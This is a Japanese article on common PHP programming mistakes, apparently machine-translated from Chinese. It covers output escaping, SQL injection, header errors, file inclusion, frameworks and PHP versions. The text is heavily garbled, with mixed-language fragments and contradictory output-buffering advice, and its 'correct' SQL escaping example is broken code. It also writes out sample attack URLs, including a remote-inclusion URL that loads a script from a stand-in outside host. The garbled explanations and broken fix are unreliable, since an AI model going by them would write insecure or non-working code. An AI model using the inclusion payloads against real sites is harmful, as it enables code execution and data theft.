PHPプログラマプログラミングの注意事項


1.振り向かない エンターテムズ   基本的な常識:信頼できないすべての入力(特にユーザがフォームから提出したデータ) ,出力する前に気を回します。echo $_GET['usename'] ; この例は、/*adminパスワードのスクリプトを変更したり、cookieのスクリプトを設定したりすることができます*/これは明らかなセキュリティ上の潜在的な危険です。お客様が正しい入力を保証しない限り、。どうやって修復しますか : 私たちは ",">","and「 などを正しいHTML表示に変換します(<< , >', and "),関数htmlspecialchars 和 httmlentitiesはまさにこの仕事をしています。正しい方法: 

echo htmlspecialchars($_GET['username'], ENT_QUOTES); 
. 意を変えないSQL入力はかつて文章の中で最も簡単なsql注入防止の方法(php+mysql)で議論しました。そして簡単な方法を提供しました。 。ある人が私に言いました。彼らはもうphp.ini中将magic_にいます。quotはOnに設定されていますので、この問題を心配する必要はありませんが、すべての入力は$GET $_POSTまたは $_COOKIEで手に入れたもの!どのように修復しますか?一番簡単なsql注入防止の方法(php+mysql中)と同じです。mysqlを使うのがオススメです。リアル.エスケープstring()関数の正しいやり方:

<?php 
$sql = "Update users SET 
name='.mysql_real_escape_string($name).' 
Where id='.mysql_real_escape_string ($id).'"; 
mysql_query($sql); 
?> 
.間違った使用HTTP-header 関連する関数: header() session_start()、 set cookie()はこの警告に会ったことがありますか?warning: Canot add header information - headers already sent [....] サーバーからウェブページをダウンロードするたびに、サーバーの出力は二つの部分に分けられます。頭と本文です。ヘッダは、クッキーなどの非可視データを含む。頭はいつも先に到着します。本文は可視のhtml、画像などのデータを含みます。もしout put_ならばbufferingはOffに設定されています。すべてのHTTP-header関連の関数は出力がある前に呼び出さなければなりません。問題はあなたが中開発の環境にあるということです。他の環境に配置されている時に、Outputバfferingの設定が異なるかもしれません。その結果、ステアリングが停止しました。クッキーもセッションも正確に設定されていませんでした。どのように修正しますか?出力前にhttp-header関連の関数を呼び出し、out put_を有効にします。バffering = Off4. Require または include のファイルは安全ではないデータを使用して再度強調しました。あなた自身が明示的に声明したデータではないと信じないでください。いらない Include または require からGET $_POST または $_COOKIE で取得したファイルです。例えば、index.php

<? 
//including header, config, database connection, etc 
include($_GET['filename']); 
//including footer 
?> 
は現在、どのハッカーも使えます。http://www.yourdomain.com/index.php?filename=anyfile.txt あなたの機密情報を取得したり、PHPスクリプトを実行したりします。  もしallow_クルクルfopen=On、あなたはもっと死んでいます。この入力を試してみてください。http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php 今あなたのホームページにはhttp://www.youaredoomed.com/phphack.phpの出力が含まれています。 ハッカーは迷惑メールを送ることができます。パスワードを変えたり、ファイルを削除したりします。あなたが望むなら。修復方法:どのファイルがincludeまたはrequire命令に含まれますか?以下は高速で全面的ではない解決方法です。

<? 
//Include only files that are allowed. 
$allowedFiles = array('file1.txt','file2.txt','file3.txt'); 
if(in_array((string)$_GET['filename'],$allowedFiles)) { 
include($_GET['filename']); 

else{ 
exit('not allowed'); 

?> 
. 文法の間違いと文法の間違いは全部の語法と文法の間違いを含んでいます。解決方法はPHPの文法を真剣に勉強し、括弧、大括弧、セミコロン、引用符を落とさないように注意してください。あとはいいエディタに変えます。メモ帳を使わないでください。6.めったに使わない、対象に向けない多くの項目はPHP向けの対象技術を使用していません。結果としてコードの維持が非常に時間消費力がかかります。PHP対応の対象向け技術はますます多くなり、ますます良くなりました。対象に向けて使用しない理由はありません。7. フレームワークを使わない95% のPHPプロジェクトは同じ四つのことをしています。 クリアー edit リスト とdelete. 今はたくさんのMVCのフレームワークがあります。この四つのことを完成してくれます。なぜ彼らを使わないですか?8. PHPには既にある機能PHPの核心には多くの機能が含まれているとは知らない。多くのプログラマが繰り返し発明する車輪。時間を無駄にしました。コードする前にPHPを検索してください。 mamualさん、googleで検索してみたら、新しい発見があるかもしれません。PHPのexec()は強力な関数で、cmdを実行できます。 shellは、実行結果の最後の行を文字列で返します。安全を考慮して、Escape ShellCmd()が使用できます。  9.旧バージョンのPHPを使用している多くのプログラマがPHP 4を使用しています。PHP 4上開発ではPHPの潜在能力を十分に発揮できず、安全に問題があります。PHP 5にしてください。手間がかかりません。ほとんどのPHP 4プログラムは少ない語句を変えさえすればPHP 5に移動できます。によるとhttp://www.nexen.netの調査 PHPサーバの12%だけがPHP 5を使用していますので、PHP開発者の88%はPHP 4を使用しています。これは主に開発者の環境においてmagic_quot offに設定し、配備されたサーバにmagic_quot =オン. PHPは GET POST 和 COOKIEのデータ上でアドレススを繰り返し実行します() 。 元のテキスト:It's a. string magic quot オン : It\s a. stringはもう一度addslashes():It\'sを実行します。 a. string HTML出力:It\s a. stringはもう一つのケースがあります。ユーザーが最初に誤った登録情報を入力しました。サーバーがエラー入力を検出した後、同じformを出力してユーザーに再入力を要求して、ユーザーの入力が二回になります。